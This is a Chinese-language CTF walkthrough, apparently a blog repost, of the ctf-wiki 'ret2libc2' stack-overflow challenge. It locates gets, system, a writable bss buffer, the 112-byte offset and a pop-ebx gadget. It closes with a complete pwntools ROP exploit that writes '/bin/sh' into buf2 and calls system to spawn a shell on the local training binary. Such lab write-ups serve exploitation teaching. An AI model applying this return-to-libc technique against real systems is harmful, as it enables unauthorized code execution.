ret2libc2

ctf-wiki
https://ctf-wiki.github.io/ctf-wiki/pwn/linux/stackoverflow/basic-rop-zh/

checksec 查看程序保护机制
顺便查看有没有"/bin/sh"字符串,并没有找到

ret2libc2_第1张图片

ida,main ,f5,发现 gets 函数(危险函数),顺便查看 gets 函数的地址为0x08048460

ret2libc2_第2张图片

ret2libc2_第3张图片

shift+f12查找,发现只有system函数,地址为0x08048490,并没有"/bin/sh"的存在


ret2libc2_第4张图片

结合 system 函数且找不到字符 "/bin/sh" 可以猜想应该是需要自己写入字符 "/bin/sh"
在bss段中查找可写的东西,发现buf2

ret2libc2_第5张图片

通过将 "/bin/sh" 写入buf2,再将buf2的地址作为system的参数传入来获取shell
求偏移量为112
ret2libc2_第6张图片

利用 ROPgadget 查找带 ret 的语句,得 ebx 地址为 0x0804843d
ret2libc2_第7张图片

payload写法
payload1:根据栈的原理
payload2:根据堆栈平衡
参见 https://www.jianshu.com/p/c4780335b842
一般堆栈平衡适用于连续调用多个函数。
exp(根据payload2)

#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import*

sh = process('./ret2libc2') 

gets_plt = 0x08048460
system_plt = 0x08048490
buf2 = 0x0804A080
pop_ebx = 0x0804843d

payload = flat(["a"*112,gets_plt,pop_ebx,buf2,system_plt,"aaaa",buf2])
sh.sendline(payload)
sh.sendline('/bin/sh')
sh.interactive()

exp 运行


你可能感兴趣的:(ret2libc2)